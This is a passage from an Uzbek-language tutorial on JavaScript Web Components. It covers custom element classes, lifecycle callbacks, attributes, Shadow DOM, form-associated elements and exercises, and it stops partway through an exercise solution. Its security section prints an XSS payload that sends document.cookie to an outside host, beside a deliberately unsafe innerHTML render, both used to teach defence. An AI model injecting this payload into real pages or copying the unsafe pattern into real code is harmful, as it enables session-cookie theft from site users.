Mundarija (37)
- Bu darsda
- 1. Nega bu kerak?
- 2. Birinchi custom element
- 2.1 Klass va define
- 2.2 Konstruktor qoidalari
- 3. Hayot sikli
- 3.1 To'rt asosiy callback
- 3.2 observedAttributes
- 3.3 Hayot siklini o'z ko'zingiz bilan ko'ring
- 4. Shadow DOM JavaScript'dan
- 4.1 attachShadow
- 4.2 Qolipni bir marta yozish
- 5. «Bahor»: <dish-card>
- 5.1 To'liq komponent
- 5.2 Kodni o'qiymiz
- 6. Atributlar va xususiyatlar
- 7. Tozalash: disconnectedCallback
- 8. Formaga bog'langan element
- 8.1 Va'da: <star-rating>
- 8.2 Kod
- 9. Ro'yxat bilan ishlash: whenDefined va boshqalar
- 10. Hujumchi nigohi
- 11. Lit va freymvorklar
- 12. Ko'p uchraydigan xatolar
- 12.1 Konstruktorda atribut yoki farzand
- 12.2 super() ni unutish
- 12.3 observedAttributes ni unutish
- 12.4 connectedCallback bir marta deb o'ylash
- 12.5 Klassni new bilan yaratish
- 13. Mashqlar
- 1-mashq (oson): Narx belgisi
- 2-mashq (o'rta): Porsiya tanlagich
- 3-mashq (qiyin): Savat komponenti
- 4-mashq: Amaliy tajriba — <dish-card> modul bo'lib
- 14. Real ishda
- Xulosa
- Manbalar
Web Components JavaScript'da: custom element klassi, hayot sikli va atributlar
Qisqacha: Custom element —
HTMLElementdan meros olgan klass,customElements.define("dish-card", DishCard)bilan ro'yxatga yoziladi. Brauzer uni o'zi chaqiradi:constructor(yaratildi),connectedCallback(sahifaga qo'shildi),disconnectedCallback(olib tashlandi),attributeChangedCallback(observedAttributesdagi atribut o'zgardi). Ichki tuzilma —attachShadow()bilan Shadow DOM'da, tashqariga xabar —CustomEvent(bubblesvacomposed) bilan.
Bu darsda
HTMLElementdan meros olib, o'z tegingizni ro'yxatdan o'tkaza olasiz va konstruktor qoidalarini bilasiz.- Hayot sikli callback'lari qachon va qaysi tartibda chaqirilishini tushuntira olasiz.
- Atributlarni
observedAttributesbilan kuzatib, ularni xususiyatlar (property) bilan bog'lay olasiz. attachShadow,templateva slotlar bilan «Bahor»<dish-card>komponentini qura olasiz.- Komponentdan tashqariga
CustomEventyubora olasiz va formaga bog'langan element yasay olasiz.
Oldin bilishingiz kerak: Web Components'ga kirish, Meros: extends va super, Getter/setter va static, Atributlar, xususiyatlar va dataset, Custom events va EventTarget.
1. Nega bu kerak?
O'tgan darsda <dish-card> ni Declarative Shadow DOM bilan yozdik. Hamkor sahifasining stili endi uni buzmaydi. Lekin Sardor yangi muammoga duch keldi.
«Bahor» menyusida 30 ta taom bor. Har bir karta uchun template ichidagi stil va tuzilmani qayta yozish kerak — 30 marta. Dizayn o'zgarsa, 30 joyni tuzatish kerak. Bundan tashqari, karta hech narsa qila olmaydi: «Savatga» tugmasi bosilsa — jim. Narx 35000 deb yozilsa, uni 35 000 so'm qilib ko'rsatmaydi. Taom tugasa, kartani kulrang qilish uchun ham qo'lda HTML o'zgartirish kerak.
Jasur aka xohlaydigan narsa shunday sodda:
<dish-card name="Osh" price="35000"></dish-card>
<dish-card name="Manti" price="30000" sold-out></dish-card>Bitta qator — tayyor, bezakli, ishlaydigan karta. Qolip, stil va xatti-harakat bitta joyda yoziladi: JavaScript klassida. Bugun shu klassni yozamiz.
2. Birinchi custom element
2.1 Klass va define
Custom element — oddiy klass, u HTMLElement dan meros oladi:
<style>
body { font: 1rem/1.5 system-ui, sans-serif; margin: 1rem; }
</style>
<greeting-message name="Malika"></greeting-message>
<greeting-message></greeting-message>
<script>
class GreetingMessage extends HTMLElement {
connectedCallback() {
const name = this.getAttribute("name") ?? "mehmon";
this.textContent = `Xush kelibsiz, ${name}!`;
}
}
customElements.define("greeting-message", GreetingMessage);
console.log(document.querySelector("greeting-message").textContent);
</script>Konsolda:
Xush kelibsiz, Malika!Ekranda ikki qator: "Xush kelibsiz, Malika!" va "Xush kelibsiz, mehmon!".
Qatorma-qator:
class GreetingMessage extends HTMLElement— klassimiz brauzerning hamma HTML elementlari asosidan meros oladi. Shu tufaylithis— haqiqiy DOM elementi: undagetAttribute,textContent,addEventListenerva boshqa hamma narsa bor.connectedCallback()— brauzer uni element sahifaga qo'shilganda o'zi chaqiradi. Biz chaqirmaymiz. Bunday metodlar hayot sikli callback'lari (lifecycle callbacks) deyiladi.customElements.define("greeting-message", GreetingMessage)— "greeting-messagetegi uchun shu klassni ishlat".customElements—windowdagi tayyor obyekt, o'tgan darsdagiCustomElementRegistryro'yxati.console.logdefinedan keyin turibdi va matn allaqachon tayyor. Sahifadagi ikki tegdefinepaytida upgrade qilindi — har biriga darholconnectedCallbackchaqirildi.
Klass nomi (GreetingMessage) va teg nomi (greeting-message) bir-biriga bog'liq emas — ularni faqat define bog'laydi. Lekin odat bor: teg — klass nomining kichik harfli, defisli shakli ("greeting message" — "salomlashish xabari"). Shunda sahifada tegni ko'rgan dasturchi uning klassini darhol topadi. Atribut va hodisa nomlari ham inglizcha (name="Malika", sold-out, add-to-cart). Ma'lumot qiymatlari va ekrandagi matn esa o'zbekcha qoladi.
2.2 Konstruktor qoidalari
Klassga constructor ham yozish mumkin. U element yaratilganda chaqiriladi. Lekin custom element konstruktorida qat'iy qoidalar bor:
- Birinchi qator —
super(). Busizthisishlamaydi (Meros darsidagi qoida). - Konstruktorda elementning o'z atributlari va farzandlarini o'zgartirmang.
this.setAttribute,this.textContent = …,this.append— konstruktorda yo'q. - Atributlarni o'qishga ham tayanmang:
document.createElementbilan yaratilganda ular hali bo'sh.
Ikkinchi qoida buzilsa, Chrome 154 da document.createElement xato beradi:
Uncaught NotSupportedError: Failed to execute 'createElement' on 'Document': The result must not have attributesTarjimasi: "Natijada atributlar bo'lmasligi kerak". Farzand qo'shilsa — The result must not have children ("natijada farzandlar bo'lmasligi kerak"). Nega bunday qoida? Brauzer createElement dan "toza" element kutadi. HTML'dagi <dish-card name="Osh"> ni o'qiyotgan parser ham atributlarni konstruktordan keyin o'zi qo'yadi.
Konstruktorda nima qilsa bo'ladi? Holatni (#count = 0 kabi) tayyorlash, hodisa tinglovchisini this ga qo'shish va Shadow DOM yaratish. Shadow root — elementning farzandi emas, shuning uchun u ruxsat etilgan. Atributga va farzandlarga bog'liq hamma ish — connectedCallback da.
Tekshirib ko'ring: Nega
GreetingMessagemisolida ismni konstruktorda emas,connectedCallbackda o'qidik?
Javob
Ikki sabab. Birinchisi: document.createElement("greeting-message") bilan yaratilganda konstruktor paytida name atributi hali yo'q — u keyinroq setAttribute bilan qo'yiladi. Ikkinchisi: this.textContent = … — elementga farzand (matn) qo'shish, konstruktorda bu taqiqlangan. connectedCallback paytida esa element sahifada, atributlari joyida.
3. Hayot sikli
3.1 To'rt asosiy callback
| Callback | Brauzer qachon chaqiradi |
|---|---|
constructor() |
Element yaratilganda yoki upgrade qilinganda |
connectedCallback() |
Element sahifaga (hujjatga) qo'shilganda |
disconnectedCallback() |
Element sahifadan olib tashlanganda |
attributeChangedCallback(nom, eski, yangi) |
Kuzatilayotgan atribut o'zgarganda |
Yana ikkitasi kam ishlatiladi: adoptedCallback() — element boshqa hujjatga (masalan, iframe ichiga) ko'chirilganda; connectedMoveCallback() — u haqda pastda.
stateDiagram-v2
[*] --> Yaratildi: constructor
Yaratildi --> Sahifada: connectedCallback
Sahifada --> Sahifada: attributeChangedCallback
Sahifada --> Tashqarida: disconnectedCallback
Tashqarida --> Sahifada: connectedCallback
Tashqarida --> [*]Nimaga qarang: connectedCallback bir martalik emas. Element olib tashlanib, qayta qo'shilsa — u yana chaqiriladi. Bu keyinroq muhim tuzoq bo'ladi.
3.2 observedAttributes
attributeChangedCallback hamma atribut uchun chaqirilmaydi. Brauzer faqat siz aytgan atributlarni kuzatadi. Ro'yxat — klassning statik xususiyatida:
class DishCard extends HTMLElement {
static observedAttributes = ["name", "price", "sold-out"];
attributeChangedCallback(name, oldValue, newValue) {
// name — "price", oldValue — "35000", newValue — "38000"
}
}Ro'yxatda yo'q atribut (class, id, data-…) o'zgarsa — callback jim. Bu tejamkorlik uchun: aks holda har class o'zgarishida keraksiz ish bo'lardi.
Bo'sh joyni to'ldiring: karta sold-out atributi o'zgarganini bilishi uchun "sold-out" so'zi static ro'yxatida bo'lishi kerak.
Uchta qiymat ham satr yoki null. Atribut yangi qo'yilsa, oldValue — null. Olib tashlansa, newValue — null. Chrome'da tekshirdik: bir xil qiymatni qayta yozish ham ("somsa" → "somsa") callback'ni chaqiradi — brauzer qiymatni solishtirmaydi.
3.3 Hayot siklini o'z ko'zingiz bilan ko'ring
Oynada <lifecycle-log> elementi bor. U har bir callback'da konsolga yozadi. Tugmalarni ketma-ket bosing:
<style>
body { font: 0.95rem/1.4 system-ui, sans-serif; margin: 1rem; }
.zone { border: 2px dashed #9ab09a; padding: 0.5rem;
margin-bottom: 0.5rem; min-height: 2rem; }
lifecycle-log { display: inline-block; padding: 0.2rem 0.6rem;
background: #e8f3e8; border-radius: 0.3rem; }
button { font: inherit; padding: 0.3rem 0.6rem; margin: 0.15rem; }
</style>
<div class="zone" id="a">
<lifecycle-log price="35000">Osh</lifecycle-log>
</div>
<div class="zone" id="b"></div>
<button id="move" type="button">B ga ko'chirish (append)</button>
<button id="moveBefore" type="button">
A ga ko'chirish (moveBefore)
</button>
<button id="price" type="button">Narxni o'zgartirish</button>
<button id="remove" type="button">O'chirish</button>
<script>
class LifecycleLog extends HTMLElement {
static observedAttributes = ["price"];
constructor() {
super();
console.log("constructor");
}
connectedCallback() {
console.log(`connected → ${this.parentElement.id}`);
}
disconnectedCallback() {
console.log("disconnected");
}
connectedMoveCallback() {
console.log(`connectedMove → ${this.parentElement.id}`);
}
attributeChangedCallback(name, oldValue, newValue) {
const change = `${name} ${oldValue} → ${newValue}`;
console.log(`attributeChanged: ${change}`);
}
}
customElements.define("lifecycle-log", LifecycleLog);
const item = document.querySelector("lifecycle-log");
const zoneA = document.getElementById("a");
const zoneB = document.getElementById("b");
document.getElementById("move").onclick = () => zoneB.append(item);
document.getElementById("moveBefore").onclick = () =>
zoneA.moveBefore(item, null);
document.getElementById("price").onclick = () =>
item.setAttribute("price", "38000");
document.getElementById("remove").onclick = () => item.remove();
</script>Sahifa ochilganda:
constructor
attributeChanged: price null → 35000
connected → aBu — upgrade tartibi. Element HTML'da define dan oldin bor edi. Brauzer avval konstruktorni chaqirdi, keyin har bir kuzatilgan atribut uchun attributeChangedCallback ni (null → 35000, chunki brauzer uchun bu atribut "yangi"), oxirida connectedCallback. Demak, connectedCallback paytida atributlar allaqachon o'qilgan bo'ladi.
Tugmalarni chapdan o'ngga bosganda sinovimizda konsolga shu chiqdi:
disconnected
connected → b
connectedMove → a
attributeChanged: price 35000 → 38000
disconnected- Oddiy ko'chirish (
append) — aslida ikki ish: olib tashlash va qo'shish. Shuning uchundisconnectedvaconnectedikkalasi. moveBefore— yangi metod: elementni holatini yo'qotmasdan ko'chiradi. KlassdaconnectedMoveCallbackbo'lsa, faqat shu bitta callback chaqiriladi. Bo'lmasa — oddiydisconnected+connected(Chrome'da tekshirdik).moveBeforeChrome 133 va Firefox 144 dan bor, Safari'da hali yo'q — Baseline emas (web-features 3.40). Hozircha faqat bilib qo'ying.remove()dan keyin element xotirada qoladi (itemo'zgaruvchisi uni ushlab turibdi), lekin sahifada emas.
Tekshirib ko'ring:
observedAttributesda"price"yo'q bo'lsa, «Narxni o'zgartirish» bosilganda nima chiqadi? Sahifa ochilganda-chi?
Javob
Ikkala holatda ham attributeChanged qatori chiqmaydi. Atribut DOM'da o'zgaradi (getAttribute("price") — "38000"), lekin brauzer bu haqda klassga xabar bermaydi — u kuzatilmayapti. Sahifa ochilganda faqat constructor va connected → a chiqadi.
4. Shadow DOM JavaScript'dan
4.1 attachShadow
O'tgan darsda shadow root'ni HTML'da yozdik. JavaScript'dagi teng kuchli yo'li — attachShadow:
const root = this.attachShadow({ mode: "open" });mode: "open"— DSD'dagishadowrootmode="open"bilan bir xil.this.shadowRootdan keyin ham olish mumkin.- Opsiyalar DSD atributlariga mos:
delegatesFocus: true,clonable: true,serializable: true. - Bir elementga ikkinchi marta
attachShadow— xato:Shadow root cannot be created on a host which already hosts a shadow tree.("Allaqachon shadow daraxti bor host'da shadow root yaratib bo'lmaydi").
Bitta istisno bor va u foydali. Element HTML'da DSD bilan kelgan bo'lsa, attachShadow xato bermaydi. U o'sha deklarativ shadow root'ni tozalab qaytaradi — Chrome'da tekshirdik. Shuning uchun server DSD yuborgan bo'lsa, uni saqlab qolish uchun avval tekshiring:
constructor() {
super();
// DSD bilan kelgan bo'lsa — o'shani olamiz, aks holda yaratamiz
this.root = this.shadowRoot ?? this.attachShadow({ mode: "open" });
}Bu naqsh hydration ("jonlantirish") deyiladi: server tayyorlagan HTML'ga keyin JavaScript xatti-harakat qo'shadi. React'da ham shu so'z bilan uchratasiz.
4.2 Qolipni bir marta yozish
Har karta uchun qolipni template dan nusxalaymiz. Qolip modul darajasida bir marta yaratiladi, keyin har bir nusxa uchun cloneNode(true) — Ko'p elementni samarali chizish darsidagi usul:
const template = document.createElement("template");
template.innerHTML = `
<style> h3 { margin: 0; } </style>
<h3 class="name"></h3>
<slot></slot>`;
// konstruktorda:
this.root.append(template.content.cloneNode(true));Bu yerda innerHTML xavfsiz: matn bizniki, foydalanuvchidan kelmaydi. Foydalanuvchi ma'lumoti (taom nomi) esa keyin textContent bilan yoziladi. Nega bu muhim — «Hujumchi nigohi» bo'limida.
5. «Bahor»: <dish-card>
5.1 To'liq komponent
Hamma qismlarni birlashtiramiz. Karta:
namevapriceatributlarini ko'rsatadi (narx bo'sh joy bilan ajratilgan);sold-outatributi bo'lsa — xira va tugmasi o'chiq;- tavsifni slot orqali oladi;
- «Savatga» bosilganda tashqariga
add-to-carthodisasini yuboradi.
<style>
body { font: 1rem/1.5 system-ui, sans-serif; margin: 1rem; }
dish-card { margin-bottom: 0.75rem; }
</style>
<p id="cart">Savatda: 0 ta taom</p>
<dish-card name="Osh" price="35000">
Guruch, sabzi va mol go'shti, zig'ir yog'ida.
</dish-card>
<dish-card name="Manti" price="30000" sold-out>
Qovoqli, bug'da pishgan.
</dish-card>
<script>
const template = document.createElement("template");
template.innerHTML = `
<style>
:host { display: block; padding: 0.75rem 1rem;
border: 1px solid #c8d6c8; border-radius: 0.5rem; }
:host([sold-out]) { opacity: 0.5; }
h3 { margin: 0; color: #2e7d32; }
.price { font-weight: 700; margin: 0.25rem 0; }
button { font: inherit; padding: 0.3rem 0.8rem; }
</style>
<h3 class="name"></h3>
<p class="price"></p>
<slot></slot>
<p><button type="button">Savatga</button></p>`;
function formatPrice(value) {
const digits = String(value)
.replace(/\B(?=(\d{3})+(?!\d))/g, " ");
return `${digits} so'm`;
}
class DishCard extends HTMLElement {
static observedAttributes = ["name", "price", "sold-out"];
constructor() {
super();
this.root = this.shadowRoot
?? this.attachShadow({ mode: "open" });
this.root.append(template.content.cloneNode(true));
this.button = this.root.querySelector("button");
this.button.addEventListener("click", () => this.#addToCart());
}
attributeChangedCallback() {
this.#render();
}
#render() {
const name = this.getAttribute("name") ?? "Nomsiz taom";
const price = Number(this.getAttribute("price") ?? 0);
this.root.querySelector(".name").textContent = name;
const priceText = formatPrice(price);
this.root.querySelector(".price").textContent = priceText;
this.button.disabled = this.hasAttribute("sold-out");
}
#addToCart() {
this.dispatchEvent(new CustomEvent("add-to-cart", {
bubbles: true,
composed: true,
detail: {
name: this.getAttribute("name"),
price: Number(this.getAttribute("price")),
},
}));
}
}
customElements.define("dish-card", DishCard);
let count = 0;
document.addEventListener("add-to-cart", (event) => {
count++;
document.getElementById("cart").textContent =
`Savatda: ${count} ta taom`;
const { name, price } = event.detail;
console.log(`Qo'shildi: ${name}, ${price}`);
});
</script>Ekranda ikki karta: "Osh — 35 000 so'm" va xira "Manti — 30 000 so'm", uning tugmasi o'chiq. Osh kartasidagi «Savatga» ni bosing — yuqoridagi yozuv "Savatda: 1 ta taom" bo'ladi. Sinovimizda ikki bosishdan keyin konsol:
Qo'shildi: Osh, 35000
Qo'shildi: Osh, 35000Manti tugmasini bosish hech narsa qilmadi — disabled tugma click hodisasini bermaydi.
5.2 Kodni o'qiymiz
- Qolip tashqarida.
templatebir marta yaratildi — 30 ta karta bo'lsa ham, HTML matn bir marta tahlil qilinadi. Har karta faqatcloneNode(true)qiladi. - Konstruktorda faqat shadow. Shadow root, qolip nusxasi va tugma tinglovchisi — hammasi ruxsat etilgan. Elementning o'z atributlariga tegmadik.
attributeChangedCallback→#render(). Upgrade paytida har bir mavjud atribut uchun callback chaqiriladi, shuning uchun alohida "birinchi chizish" kerak bo'lmadi. KeyinsetAttribute("price", "38000")qilinsa, karta o'zi yangilanadi.#render— private metod: tashqaridan chaqirib bo'lmaydi.:hostva:host([sold-out]). Bu — shadow ichidan host'ning o'zini bezash. Batafsil — keyingi darsda.textContentbilan yozish. Taom nomi qanday bo'lmasin, u matn bo'lib chiqadi.- Hodisa.
bubbles: true— DOM bo'ylab yuqoriga ko'tariladi.composed: true— shadow chegarasidan tashqariga chiqadi.detail— hodisa bilan birga keladigan ma'lumot. Bu Custom events darsidagi va'da edi: komponent tashqi dunyo bilan faqat atributlar (kirish) va hodisalar (chiqish) orqali gaplashadi.
Bitta nozik joy: hodisani tugma emas, host (this) yubordi. Shuning uchun aslida composed bu yerda shart emas edi — this allaqachon light DOM'da. Agar hodisani shadow ichidagi tugmadan yuborsak, composed: true siz u shadow root'da to'xtardi. Chrome'da tekshirdik: composed siz host'dagi va document dagi tinglovchilar hodisani olmadi. Ikkala opsiyani yozib qo'yish — xavfsiz odat.
Tekshirib ko'ring: Konsolda
document.querySelectorAll("dish-card")[1].removeAttribute("sold-out")yozilsa, Manti kartasida nima o'zgaradi?
Javob
sold-out — kuzatilgan atribut. Brauzer attributeChangedCallback("sold-out", "", null) ni chaqiradi, u #render() ni ishga tushiradi: hasAttribute("sold-out") endi false, tugma yoqiladi. Xiralik ham yo'qoladi — :host([sold-out]) qoidasi endi mos kelmaydi. Atribut qiymati bo'sh satr edi (sold-out qiymatsiz yozilgan), shuning uchun oldValue — "".
6. Atributlar va xususiyatlar
Atributlar va xususiyatlar darsida farqni ko'rgan edik: atribut — HTML'dagi matn, xususiyat — JS obyektidagi qiymat. Oddiy <input> da ular bog'langan: input.value va value atributi. O'z elementingizda bu bog'lanishni o'zingiz yozasiz:
class DishCard extends HTMLElement {
get price() {
return Number(this.getAttribute("price") ?? 0);
}
set price(value) {
this.setAttribute("price", String(value));
}
get soldOut() {
return this.hasAttribute("sold-out");
}
set soldOut(value) {
this.toggleAttribute("sold-out", Boolean(value));
}
}Endi card.price = 38000 yozilsa, setter atributni o'zgartiradi, u esa attributeChangedCallback ni uyg'otadi — karta qayta chiziladi. Bu naqsh reflection ("aks ettirish") deyiladi: xususiyat va atribut doim bir xil.
Qoidalar:
- Oddiy qiymatlar (son, satr, mantiqiy) — atribut orqali. Ularni HTML'da yozish qulay.
- Mantiqiy atribut — qiymati emas, bor-yo'qligi muhim:
hasAttributevatoggleAttribute.sold-out="false"— baribir "bor", ya'nitrue. Budisabledvarequireddagi qoida bilan bir xil. - Murakkab ma'lumot (massiv, obyekt) — faqat xususiyat orqali. Atributga JSON yozish mumkin, lekin noqulay va sekin.
7. Tozalash: disconnectedCallback
Komponent o'zidan tashqaridagi narsaga tinglovchi qo'ysa (window, document) yoki taymer ochsa, olib tashlanganda ularni yopishi kerak. Aks holda element sahifadan ketsa ham, tinglovchi uni xotirada ushlab turadi — Xotira sizishlari darsidagi klassik holat.
Eng qulay yo'l — signal opsiyasi va AbortController:
class NetworkStatus extends HTMLElement {
#controller = null;
connectedCallback() {
this.#controller = new AbortController();
const { signal } = this.#controller;
const update = () => this.#update();
window.addEventListener("online", update, { signal });
window.addEventListener("offline", update, { signal });
this.#update();
}
disconnectedCallback() {
this.#controller.abort(); // hamma tinglovchi olib tashlandi
}
#update() {
this.textContent = navigator.onLine ? "Aloqa bor" : "Aloqa yo'q";
}
}E'tibor bering: tinglovchilar connectedCallback da qo'shiladi, konstruktorda emas. Element ko'chirilganda disconnected keyin yana connected chaqiriladi — tinglovchilar olib tashlanib, qayta qo'shiladi. Konstruktorda qo'shilsa, ko'chirishdan keyin ular yo'qolgan bo'lardi.
Qoida: connectedCallback da nima ochsangiz, disconnectedCallback da yoping.
8. Formaga bog'langan element
8.1 Va'da: <star-rating>
Holat pseudo-klasslari darsida yulduzli baho tegini :defined misolida ko'rgan edik — u yerda nomi <yulduz-baho> edi. Endi uni klassi bilan bir xil nomlaymiz: StarRating → <star-rating>.
Zamonaviy forma imkoniyatlari darsida formaga bog'langan maxsus element (form-associated custom element) haqida aytgan edik: uning qiymati forma bilan birga yuboriladi, required bilan tekshiriladi. Endi uni yozamiz. Kerak bo'ladigan uch narsa:
static formAssociated = true— "bu element forma maydoni".this.attachInternals()—ElementInternalsobyekti, element va forma orasidagi "ko'prik". U faqat bir marta chaqiriladi.internals.setFormValue(qiymat)— formaga yuboriladigan qiymat.internals.setValidity(…)— tekshiruv holati.
8.2 Kod
<style>
body { font: 1rem/1.5 system-ui, sans-serif; margin: 1rem; }
button { font: inherit; }
</style>
<form id="review">
<p>«Bahor»ni baholang:</p>
<star-rating name="rating" required></star-rating>
<p>
<button>Yuborish</button>
<button type="reset">Tozalash</button>
</p>
</form>
<script>
class StarRating extends HTMLElement {
static formAssociated = true;
#internals = this.attachInternals();
#value = 0;
constructor() {
super();
const root = this.attachShadow({ mode: "open" });
for (let i = 1; i <= 5; i++) {
const star = document.createElement("button");
star.type = "button";
star.textContent = "☆";
star.setAttribute("aria-label", `${i} yulduz`);
star.addEventListener("click", () => this.#select(i));
root.append(star);
}
}
connectedCallback() {
this.#select(0);
}
#select(value) {
this.#value = value;
const stars = this.shadowRoot.querySelectorAll("button");
stars.forEach((star, index) => {
star.textContent = index < value ? "★" : "☆";
star.setAttribute("aria-pressed", String(index < value));
});
this.#internals.setFormValue(value ? String(value) : null);
if (this.hasAttribute("required") && !value) {
this.#internals.setValidity(
{ valueMissing: true }, "Iltimos, baho tanlang", stars[0]);
} else {
this.#internals.setValidity({});
}
}
formResetCallback() {
this.#select(0);
}
}
customElements.define("star-rating", StarRating);
const form = document.getElementById("review");
form.addEventListener("submit", (event) => {
event.preventDefault();
const data = new FormData(form);
console.log("Yuborildi, baho:", data.get("rating"));
});
console.log("Forma to'g'rimi:", form.checkValidity());
</script>Konsolda:
Forma to'g'rimi: falseSinab ko'ring:
- Hech narsa tanlamay «Yuborish» ni bosing. Brauzer formani yubormaydi va birinchi yulduz yonida "Iltimos, baho tanlang" pufakchasini ko'rsatadi — xuddi bo'sh
requiredmaydondagidek. - To'rtinchi yulduzni bosib, «Yuborish» ni bosing. Konsolga
Yuborildi, baho: 4chiqadi. Sinovimizda aynan shunday chiqdi. - «Tozalash» — brauzer
formResetCallbackni chaqiradi, yulduzlar bo'shaydi.
Qatorma-qator muhimlari:
#internals = this.attachInternals()— private maydon.ElementInternalstashqariga ochilmasligi kerak: aks holda begona kod formaga istalgan qiymatni yozib qo'yadi.setFormValue(null)— "qiymat yo'q", forma bu maydonni umuman yubormaydi.setValidity({ valueMissing: true }, xabar, langar)— maydon "to'ldirilmagan" holatida. Uchinchi argument — xato pufakchasi qaysi ichki element yonida chiqishi.setValidity({})— "hammasi joyida".- Har bir yulduz — haqiqiy
button,aria-labelvaaria-pressedbilan. Bobur Tab bilan o'tib, Enter bilan tanlaydi. Malika NVDA'da "3 yulduz, tugma, bosilgan" kabi eshitadi.
Formaga bog'langan elementlar 2023-yil martidan Baseline, 2025-yil sentabridan widely available (web-features 3.40).
9. Ro'yxat bilan ishlash: whenDefined va boshqalar
customElements ning yana uchta foydali metodi:
customElements.get("dish-card")— ro'yxatdagi klass yokiundefined.customElements.whenDefined("dish-card")— Promise: teg ro'yxatdan o'tganda bajariladi. Komponent skripti alohida yuklansa, unga tayanadigan kodni shu bilan kutasiz.customElements.upgrade(element)— hali sahifaga qo'shilmagan elementni darhol upgrade qiladi. Kam kerak bo'ladi.
await customElements.whenDefined("dish-card");
document.querySelector("dish-card").price = 38000; // endi setter borBir nom faqat bir marta ro'yxatdan o'tadi. Ikkinchi define xato beradi: the name "dish-card" has already been used with this registry ("bu nom ro'yxatda allaqachon ishlatilgan"). Bitta klassni ikki nom bilan ro'yxatdan o'tkazib ham bo'lmaydi. Yangi imkoniyat — scoped registry (har shadow root uchun alohida ro'yxat) Chrome 146 va Safari 26 da paydo bo'ldi, lekin hali Baseline emas.
10. Hujumchi nigohi
Komponent atributni HTML'ga qo'shib yozsa, u XSS eshigiga aylanadi. Sardor birinchi versiyada shunday yozgan edi:
// ❌ xavfli: atribut HTML sifatida tahlil qilinadi
#render() {
this.root.innerHTML = `<h3>${this.getAttribute("name")}</h3>`;
}Taom nomlari admin panelidan keladi. Hujumchi admin akkauntiga kirib olsa yoki nom foydalanuvchi sharhidan olinsa, nom o'rniga shunday matn yoziladi:
<img src="x"
onerror="fetch('https://example.com/?c=' + document.cookie)">innerHTML uni haqiqiy img qiladi. Rasm yuklanmaydi, onerror ishlaydi va hujumchining kodi «Bahor» sahifasida, «Bahor» huquqlari bilan bajariladi. Shadow DOM bundan himoya qilmaydi: shadow ichidagi skript ham sahifaning o'z skripti hisoblanadi.
Bizning <dish-card> qolipni bir marta, o'z matnimizdan yasaydi. Ma'lumot esa faqat textContent bilan yoziladi — u hech qachon HTML bo'lib tahlil qilinmaydi. Shu sabab «Bahor» kartasida innerHTML faqat template uchun, ${…} qo'yilmasdan ishlatilgan. XSS'ni chuqur XSS va DOM xavfsizligi darsida ko'ramiz.
11. Lit va freymvorklar
Qo'lda yozilgan komponentda ko'p takroriy kod bor: observedAttributes, getter/setter, #render ni qo'lda chaqirish. Lit kutubxonasi shularni o'zi qiladi: siz xususiyatlarni e'lon qilasiz, Lit ularni kuzatadi va faqat o'zgargan joyni qayta chizadi. U Tagged template literals darsidagi html tegi ustiga qurilgan. Lit'ni hozir o'rganish shart emas: siz endi uning ichida nima bo'layotganini bilasiz — HTMLElement, hayot sikli va Shadow DOM.
Web Components React bilan ham ishlaydi: React 19 custom element'larga xususiyat va hodisalarni to'g'ri uzatadi. React'ni 17-qismdan o'rganamiz.
12. Ko'p uchraydigan xatolar
12.1 Konstruktorda atribut yoki farzand
this.textContent = … yoki this.setAttribute(…) konstruktorda → createElement bilan yaratilganda The result must not have children / The result must not have attributes. HTML'dagi teg bilan esa ishlab ketadi — shuning uchun xato kech topiladi. Tuzatish: bunday ishni connectedCallback ga yoki shadow root'ga ko'chiring.
12.2 super() ni unutish
Uncaught ReferenceError: Must call super constructor in derived class before accessing 'this' or returning from derived constructorTarjimasi: "Hosila klassda this ga murojaat qilishdan yoki konstruktordan qaytishdan oldin ota konstruktorni chaqirish kerak". Meros darsidagi xato — bu yerda ham. Tuzatish: konstruktorning birinchi qatori super();.
12.3 observedAttributes ni unutish
attributeChangedCallback yozilgan, lekin hech qachon chaqirilmaydi. Belgisi: atribut o'zgaradi, karta esa eski holatda. Tuzatish: static observedAttributes = [...] ro'yxatini tekshiring.
12.4 connectedCallback bir marta deb o'ylash
Tinglovchi connectedCallback da qo'shiladi, disconnectedCallback da olib tashlanmaydi. Element ko'chirilganda tinglovchi ikkinchi marta qo'shiladi — tugma bosilganda ish ikki marta bajariladi. Tuzatish: AbortController bilan yoping («Tozalash» bo'limi) yoki this ga konstruktorda bir marta qo'shing.
12.5 Klassni new bilan yaratish
define qilinmagan klass uchun new DishCard() — Illegal constructor ("ruxsat etilmagan konstruktor"). define dan keyin new DishCard() ishlaydi, lekin odatiy yo'l — document.createElement("dish-card").
13. Mashqlar
1-mashq (oson): Narx belgisi
<price-badge price="35000"></price-badge> elementini yozing. U 35 000 so'm matnini ko'rsatsin va price atributi o'zgarganda yangilansin. Shadow DOM shart emas — textContent yetarli. Sahifa ochilganda setAttribute("price", "1250000") qilib, konsolga element matnini chiqaring.
Ishora: static observedAttributes = ["price"], attributeChangedCallback ichida this.textContent = …. Bu yerda farzand qo'shish konstruktorda emas, callback'da — ruxsat etilgan. Bo'sh joy bilan ajratish — «Bahor» kartasidagi formatPrice.
Yechim
<price-badge price="35000"></price-badge>
<script>
function formatPrice(value) {
const digits = String(value)
.replace(/\B(?=(\d{3})+(?!\d))/g, " ");
return `${digits} so'm`;
}
class PriceBadge extends HTMLElement {
static observedAttributes = ["price"];
attributeChangedCallback(name, oldValue, newValue) {
this.textContent = formatPrice(Number(newValue ?? 0));
}
}
customElements.define("price-badge", PriceBadge);
const badge = document.querySelector("price-badge");
console.log(badge.textContent);
badge.setAttribute("price", "1250000");
console.log(badge.textContent);
</script>Konsolda:
35 000 so'm
1 250 000 so'mconnectedCallback kerak bo'lmadi: upgrade paytida price atributi uchun attributeChangedCallback baribir chaqiriladi.
2-mashq (o'rta): Porsiya tanlagich
<portion-picker> yarating: Shadow DOM ichida «−», son va «+» tugmalari. Son 1 dan 10 gacha bo'lsin (chegaradan chiqmasin). Har o'zgarishda element tashqariga portion-change hodisasini yuborsin, detail da { count }. Sahifa hodisani tinglab, konsolga Porsiya: N chiqarsin.
Ishora: hodisani shadow ichidagi tugmadan emas, this dan yuboring; bubbles: true, composed: true. Sonni #count private maydonida saqlang.
Yechim
<style>
body { font: 1rem/1.5 system-ui, sans-serif; margin: 1rem; }
</style>
<portion-picker></portion-picker>
<script>
class PortionPicker extends HTMLElement {
#count = 1;
constructor() {
super();
const root = this.attachShadow({ mode: "open" });
root.innerHTML = `
<style> output { display: inline-block; width: 2ch;
text-align: center; font-weight: 700; } </style>
<button type="button" id="minus"
aria-label="Kamaytirish">−</button>
<output aria-live="polite">1</output>
<button type="button" id="plus"
aria-label="Ko'paytirish">+</button>`;
